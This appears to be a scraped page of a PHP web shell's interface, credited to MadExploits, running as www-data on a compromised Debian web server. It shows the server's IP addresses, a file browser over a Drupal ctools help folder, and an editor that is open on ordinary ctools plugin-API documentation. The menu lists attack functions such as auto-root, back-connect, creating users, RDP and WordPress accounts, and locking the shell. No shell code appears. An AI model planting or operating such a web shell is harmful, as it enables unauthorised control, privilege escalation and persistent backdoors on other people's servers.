Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.145.108.87
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
help /
[ HOME SHELL ]
Name
Size
Permission
Action
about.html
4.4
KB
-rw-r--r--
ajax.html
0
B
-rw-r--r--
collapsible-div.html
22
B
-rw-r--r--
context-access.html
687
B
-rw-r--r--
context-arguments.html
1.1
KB
-rw-r--r--
context-content.html
6.57
KB
-rw-r--r--
context-context.html
661
B
-rw-r--r--
context-relationships.html
559
B
-rw-r--r--
context.html
0
B
-rw-r--r--
css.html
22
B
-rw-r--r--
ctools.help.ini
1.47
KB
-rw-r--r--
dependent.html
22
B
-rw-r--r--
dropbutton.html
22
B
-rw-r--r--
dropdown.html
22
B
-rw-r--r--
export-ui.html
3.95
KB
-rw-r--r--
export.html
17.27
KB
-rw-r--r--
form.html
22
B
-rw-r--r--
modal.html
13.24
KB
-rw-r--r--
object-cache.html
4.22
KB
-rw-r--r--
plugins-api.html
2.24
KB
-rw-r--r--
plugins-creating.html
10.85
KB
-rw-r--r--
plugins-implementing.html
2.95
KB
-rw-r--r--
plugins.html
1.34
KB
-rw-r--r--
wizard.html
13.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : plugins-api.html
<p>APIs are a form of plugins that are tightly associated with a module. Instead of a module providing any number of plugins, each module provides only one file for an API and this file can contain hooks that the module should invoke.</p> <p>Modules support this API by implementing hook_ctools_plugin_api($module, $api). If they support the API, they return a packet of data:</p> <pre> function mymodule_ctools_plugin_api($module, $api) { if ($module == 'some module' && $api = 'some api') { return array( 'version' => The minimum API version this system supports. If this API version is incompatible then the .inc file will not be loaded. 'path' => Where to find the file. Optional; if not specified it will be the module's directory. 'file' => an alternative version of the filename. If not specified it will be $module.$api.inc ); } } </pre> <p>This implementation must be in the .module file.</p> <p>Modules utilizing this can invole ctools_plugin_api_include() in order to ensure all modules that support the API will have their files loaded as necessary. It's usually easiest to create a small helper function like this:</p> <pre> define('MYMODULE_MINIMUM_VERSION', 1); define('MYMODULE_VERSION', 1); function mymodule_include_api() { ctools_include('plugins'); return ctools_plugin_api_include('mymodule', 'myapi', MYMODULE_MINIMUM_VERSION, MYMODULE_VERSION); } </pre> <p>Using a define will ensure your use of version numbers is consistent and easy to update when you make API changes. You can then use the usual module_invoke type commands:</p> <pre> mymodule_include_api(); module_invoke('myhook', $data); </pre> <p>If you need to pass references, this construct is standard:</p> <pre> foreach (mymodule_include_api() as $module => $info) { $function = $module . '_hookname'; // Just because they implement the API and include a file does not guarantee they implemented // a hook function! if (!function_exists($function)) { continue; } // Typically array_merge() is used below if data is returned. $result = $function($data1, $data2, $data3); } </pre> <p>TODO: There needs to be a way to check API version without including anything, as a module may simply provide normal plugins and versioning could still matter.</p>
Close